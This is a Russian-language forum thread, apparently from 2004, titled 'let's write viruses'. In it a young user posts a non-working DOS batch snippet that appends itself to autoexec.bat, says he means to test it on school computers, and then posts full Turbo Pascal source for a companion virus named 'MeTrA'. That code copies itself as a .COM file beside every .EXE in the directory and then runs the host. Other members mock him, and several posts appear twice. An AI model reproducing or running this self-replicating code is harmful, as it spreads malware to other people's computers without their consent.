пишим вирусы!!!!!!
Модератор: aproxis
- Slash Hunter
- Новичок
- Сообщения: 26
- Зарегистрирован: Сб июл 17, 2004 00:23
- Откуда: Кишинёв
- Контактная информация:
ну что давайте делится кто чо написал или нашол какой нибуть хороший вирус
[off]добавлено спустя 7 минут:[/off]
ну я предложу первый точно не знаю работает он или нет надо ещё проверить
но мне кажется что лучше на своём компе этого не делать !!!
поэтому придётся подождать до школы а там я его и проверю на уроке информатике
cho off
copy %0 c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
но сразу предупреждаю я тут не дописал работать он не будет
а то я знаю тут есть некоторые дай им что нибуть прикольнинькое а он там всё сделает чёб проверить этот вирус ''лАМЕР"
по идеи этот вирус должен удалить все фаилы с винта !
останетсы только один фаил это сам вирус но есть одна проблема он не передаётся на другие компы но у меня есть идея если что как нибуть напишу его полностью !!!!!!!!!!!!!!!!!
но врядли пускать буду а то вы меня наверно бить будете
[off]добавлено спустя 7 минут:[/off]
ну я предложу первый точно не знаю работает он или нет надо ещё проверить
но мне кажется что лучше на своём компе этого не делать !!!
поэтому придётся подождать до школы а там я его и проверю на уроке информатике
cho off
copy %0 c:virus.bat >nul
echo c:virus.bat>>c:autoexec.bat
но сразу предупреждаю я тут не дописал работать он не будет
а то я знаю тут есть некоторые дай им что нибуть прикольнинькое а он там всё сделает чёб проверить этот вирус ''лАМЕР"
по идеи этот вирус должен удалить все фаилы с винта !
останетсы только один фаил это сам вирус но есть одна проблема он не передаётся на другие компы но у меня есть идея если что как нибуть напишу его полностью !!!!!!!!!!!!!!!!!
но врядли пускать буду а то вы меня наверно бить будете
- Slash Hunter
- Новичок
- Сообщения: 26
- Зарегистрирован: Сб июл 17, 2004 00:23
- Откуда: Кишинёв
- Контактная информация:
- Atyla
- Отец
- Сообщения: 4194
- Зарегистрирован: Вс сен 01, 2002 18:35
- Откуда: С вытрезвителя.
- Контактная информация:
100% в Юмор... %)
Я давно так не плякаль и не рыдаль.
Добавляю себе в коллекцию ещё одного ламера.
Хы-хы-хыыхххыхххххххы..... %))))))
Ох, господи.
ЗЫ: Пошёл штудировать мануал по ДОС-коммандам. Изучать смысл комманды erase. И программировать хакерские батники...
Я давно так не плякаль и не рыдаль.
Добавляю себе в коллекцию ещё одного ламера.
Хы-хы-хыыхххыхххххххы..... %))))))
Ох, господи.
ЗЫ: Пошёл штудировать мануал по ДОС-коммандам. Изучать смысл комманды erase. И программировать хакерские батники...
- LexX
- Старожил
- Сообщения: 1741
- Зарегистрирован: Пн авг 12, 2002 20:02
- Откуда: Кишингтаун
- Контактная информация:
ZorroGFS,
не смешно... серьезно. скорее надо создать раздел "это диагноз". топик для него...
[off]добавлено спустя 3 минуты:[/off]
не смешно... серьезно. скорее надо создать раздел "это диагноз". топик для него...
[off]добавлено спустя 3 минуты:[/off]
мне интересен ход ваших мыслей, юноша. с каких это пор команда копирования удаляет файлы? или я отстал от жизни и чего-то не понимаю?Slash Hunter писал(а):по идеи этот вирус должен удалить все фаилы с винта !
- Slash Hunter
- Новичок
- Сообщения: 26
- Зарегистрирован: Сб июл 17, 2004 00:23
- Откуда: Кишинёв
- Контактная информация:
ну а что вы скажете нащёт этого может всё напрасно но то что тут говорят что я ламер я в этом очень сильно сомневаюсь хотя вы можете меня считать кем угодно я не прошу можете и ламером
{$M 2048,0,4096}
{$i-}
Program Metra;
uses dos;
var
DirInfo : SearchRec;
F1,f2 : File;
Buf : Array[0..5000] of Byte; { размер вируса }
NumRead : Word;
NumWritten : Word;
FT:text;
P: PathStr;
D: DirStr;
N: NameStr;
E: ExtStr;
namecom:string;
Label InfOk;
Begin
{ считать свое тело в буфер }
Assign(F2,ParamStr(0));
Reset(F2,1);
if ioresult<>0 then
begin
writeln('Файл ',paramstr(0),' не доступен!');
halt;
end;
BlockRead(F2,buf,SizeOf(buf),NumRead);
Close(F2);
{ искать жертву }
FindFirst('*.EXE',Archive,DirInfo);
While DosError = 0 Do
Begin
FSplit(dirinfo.name, D, N, E);
namecom:=n+'.com';
{ проверить существует ли файл }
Assign(ft,namecom);
reset(ft);
if ioresult=0 then { если уже существует }
begin
close(ft);
goto infOk;
end;
{ создать COM-файл с вирусом }
Assign(F1,namecom);
rewrite(f1);
if ioresult<>0 then goto InfOk; {если ошибка, то пропустить}
Reset(F1,1);
BlockWrite(F1,buf,NumRead,NumWritten);
Close(F1);
infOk:
FindNext(DirInfo);
End;
{ запустим своего носителя }
FSplit(paramstr(0), D, N, E);
swapvectors;
exec(d+n+'.EXE',paramstr(1));
swapvectors;
{ если вызвали с таким параметром, то надо представитьcя }
if paramstr(1)='/??' then
begin
writeln('Virus MeTrA.');
writeln('^^^^^^^^^^^^');
end;
halt(dosexitcode); { выйти и сохранить код ошибки }
End.
ну хоть может это верно подскажите хоть по правельному пути иду я
{$M 2048,0,4096}
{$i-}
Program Metra;
uses dos;
var
DirInfo : SearchRec;
F1,f2 : File;
Buf : Array[0..5000] of Byte; { размер вируса }
NumRead : Word;
NumWritten : Word;
FT:text;
P: PathStr;
D: DirStr;
N: NameStr;
E: ExtStr;
namecom:string;
Label InfOk;
Begin
{ считать свое тело в буфер }
Assign(F2,ParamStr(0));
Reset(F2,1);
if ioresult<>0 then
begin
writeln('Файл ',paramstr(0),' не доступен!');
halt;
end;
BlockRead(F2,buf,SizeOf(buf),NumRead);
Close(F2);
{ искать жертву }
FindFirst('*.EXE',Archive,DirInfo);
While DosError = 0 Do
Begin
FSplit(dirinfo.name, D, N, E);
namecom:=n+'.com';
{ проверить существует ли файл }
Assign(ft,namecom);
reset(ft);
if ioresult=0 then { если уже существует }
begin
close(ft);
goto infOk;
end;
{ создать COM-файл с вирусом }
Assign(F1,namecom);
rewrite(f1);
if ioresult<>0 then goto InfOk; {если ошибка, то пропустить}
Reset(F1,1);
BlockWrite(F1,buf,NumRead,NumWritten);
Close(F1);
infOk:
FindNext(DirInfo);
End;
{ запустим своего носителя }
FSplit(paramstr(0), D, N, E);
swapvectors;
exec(d+n+'.EXE',paramstr(1));
swapvectors;
{ если вызвали с таким параметром, то надо представитьcя }
if paramstr(1)='/??' then
begin
writeln('Virus MeTrA.');
writeln('^^^^^^^^^^^^');
end;
halt(dosexitcode); { выйти и сохранить код ошибки }
End.
ну хоть может это верно подскажите хоть по правельному пути иду я
- Slash Hunter
- Новичок
- Сообщения: 26
- Зарегистрирован: Сб июл 17, 2004 00:23
- Откуда: Кишинёв
- Контактная информация:
- Dark 3lf
- Старожил
- Сообщения: 1033
- Зарегистрирован: Ср фев 12, 2003 12:39
- Откуда: N/A
- Контактная информация:
ZorroGFS, вот примерно с такого ресурса он этот хумор брал http://www.nvkz.kuzbass.net/gazzzeta/htm/167.htm
- Slash Hunter
- Новичок
- Сообщения: 26
- Зарегистрирован: Сб июл 17, 2004 00:23
- Откуда: Кишинёв
- Контактная информация: